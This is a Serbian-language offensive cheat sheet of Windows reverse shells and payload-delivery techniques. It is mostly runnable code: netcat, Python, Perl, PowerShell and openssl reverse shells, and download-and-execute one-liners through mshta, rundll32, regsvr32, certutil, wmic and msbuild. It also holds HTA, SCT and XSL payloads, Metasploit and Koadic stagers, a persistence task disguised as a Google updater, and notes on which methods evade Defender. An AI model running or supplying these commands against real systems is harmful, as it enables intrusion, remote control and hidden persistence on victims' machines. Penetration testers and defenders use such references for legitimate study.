Shells - Windows

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Lolbas

The page lolbas-project.github.io is for Windows like https://gtfobins.github.io/ is for linux.
Očigledno, u Windows nema SUID fajlova niti sudo privilegija, ali je korisno znati kako neki binaries mogu biti (ab)used da izvedu neku neočekivanu akciju kao što je execute arbitrary code.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

NCAT

žrtva

ncat.exe <Attacker_IP> <PORT>  -e "cmd.exe /c (cmd.exe  2>&1)"
#Encryption to bypass firewall
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe  2>&1)"

attacker

ncat -l <PORT>
#Encryption to bypass firewall
ncat -l <PORT eg.443> --ssl

SBD

sbd je prenosiva i sigurna zamena za Netcat. Radi na Unix-like sistemima i na Win32. Sa funkcijama kao što su snažna enkripcija, izvršavanje programa, prilagodljivi izvorni portovi i kontinuirano ponovno povezivanje, sbd pruža svestrano rešenje za TCP/IP komunikaciju. Za Windows korisnike, verzija sbd.exe iz Kali Linux distribucije može se koristiti kao pouzdana zamena za Netcat.

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Attacker (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Žrtva

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Proces koji vrši mrežni poziv: powershell.exe
Payload zapisan na disk: NE (barem nigde nisam uspeo da pronađem koristeći procmon !)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Proces koji obavlja mrežni poziv: svchost.exe
Payload zapisan na disku: WebDAV client local cache

Jednolinijska komanda:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Više informacija o različitim Powershell Shells potražite na kraju ovog dokumenta

Mshta

• Više informacija ovde

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

Primer hta-psh reverse shell (koristite hta da preuzmete i izvršite PS backdoor)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Možete veoma lako preuzeti i izvršiti Koadic zombie koristeći stager hta

hta primer

From here

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

From here

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Otkriveno od strane defender

Rundll32

Dll hello world example

• From here

rundll32 \\webdavserver\folder\payload.dll,entrypoint

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Otkriven od strane defender

Rundll32 - sct

From here

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

• Odavde

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Otkriven od strane Defender

Regsvr32 – arbitrary DLL export sa /i argumentom (gatekeeping & persistence)

Pored učitavanja udaljenih scriptleta (scrobj.dll), regsvr32.exe učitava lokalni DLL i poziva njegove DllRegisterServer/DllUnregisterServer exporte. Custom loaderi često zloupotrebljavaju ovo da izvrše arbitrary code dok se stapaju sa potpisanim LOLBin-om. Dve tradecraft napomene viđene in the wild:

• Gatekeeping argument: DLL izlazi osim ako specifični prekidač nije prosleđen preko /i:<arg>, npr. /i:--type=renderer da imitiraju Chromium renderer child procese. Ovo smanjuje slučajno izvršavanje i frustrira sandboxes.
• Persistence: zakažite regsvr32 da pokrene DLL sa silent + visokim privilegijama i potrebnim /i argumentom, prerušeno kao zadatak ažuriranja:

Register-ScheduledTask \
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
-RunLevel Highest

Vidi takođe: ClickFix clipboard‑to‑PowerShell varijanta koja postavlja JS loader i kasnije perzistira pomoću regsvr32. Clipboard Hijacking

From here

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Možete vrlo lako preuzeti i izvršiti Koadic zombie koristeći stager regsvr

Certutil

• From here

Preuzmite B64dll, dekodirajte ga i izvršite.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Preuzmi B64exe, dekodiraj ga i pokreni.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Otkriven od strane defender

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Otkriveno od strane defender

PS-Bat

\\webdavserver\folder\batchfile.bat

Proces koji vrši mrežni poziv: svchost.exe
Payload zapisan na disku: WebDAV lokalni keš klijenta

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`

\\10.8.0.3\kali\shell.bat

Otkriveno od strane defender

MSIExec

Napadač

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Žrtva:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Detektovano

Wmic

• Odavde

wmic os get /format:"https://webserver/payload.xsl"

Primer xsl file from here:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Nije detektovano

Možete veoma lako preuzeti i izvršiti Koadic zombie koristeći stager wmic

Msbuild

• Odavde

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Možete koristiti ovu tehniku da zaobiđete Application Whitelisting i ograničenja Powershell.exe. Biće vam ponuđen PS shell.
Samo preuzmite ovo i pokrenite ga: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Nije detektovano

CSC

Kompajlirajte C# kod na ciljnoj mašini.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

Možete preuzeti osnovni C# reverse shell ovde: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Nije detektovano

Regasm/Regsvc

• From here

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Nisam probao

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

• Odavde

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Nisam probao

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishang

U folderu Shells nalazi se mnogo različitih shells. Da biste preuzeli i izvršili Invoke-PowerShellTcp.ps1 napravite kopiju skripte i dodajte na kraj fajla:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Pokreni web server koji poslužuje skriptu i izvrši je na strani žrtve:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender ga još ne detektuje kao zlonamerni kod (3/04/2019).

TODO: Proveri ostale nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Preuzmi, pokreni web server, pokreni listener i izvrši ga na strani žrtve:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender ga još ne detektuje kao maliciozni kod (3/04/2019).

Ostale opcije koje nudi powercat:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Kreirajte powershell launcher, sačuvajte ga u fajl i preuzmite i izvršite.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Detektovano kao zlonamerni kod

MSF-Unicorn

https://github.com/trustedsec/unicorn

Kreirajte powershell verziju metasploit backdoor-a koristeći unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Pokrenite msfconsole koristeći kreirani resource:

msfconsole -r unicorn.rc

Pokrenite web server koji servira fajl powershell_attack.txt i izvršite na žrtvi:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Označeno kao maliciozan kod

Više

PS>Attack PS konzola sa nekim offensive PS modulima unapred učitanim (cyphered)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN PS konzola sa nekim offensive PS modulima i detekcijom proxy-a (IEX)

Reference

• https://highon.coffee/blog/reverse-shell-cheat-sheet/
• https://gist.github.com/Arno0x
• https://github.com/GreatSCT/GreatSCT
• https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
• https://www.hackingarticles.in/koadic-com-command-control-framework/
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
• https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
• Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder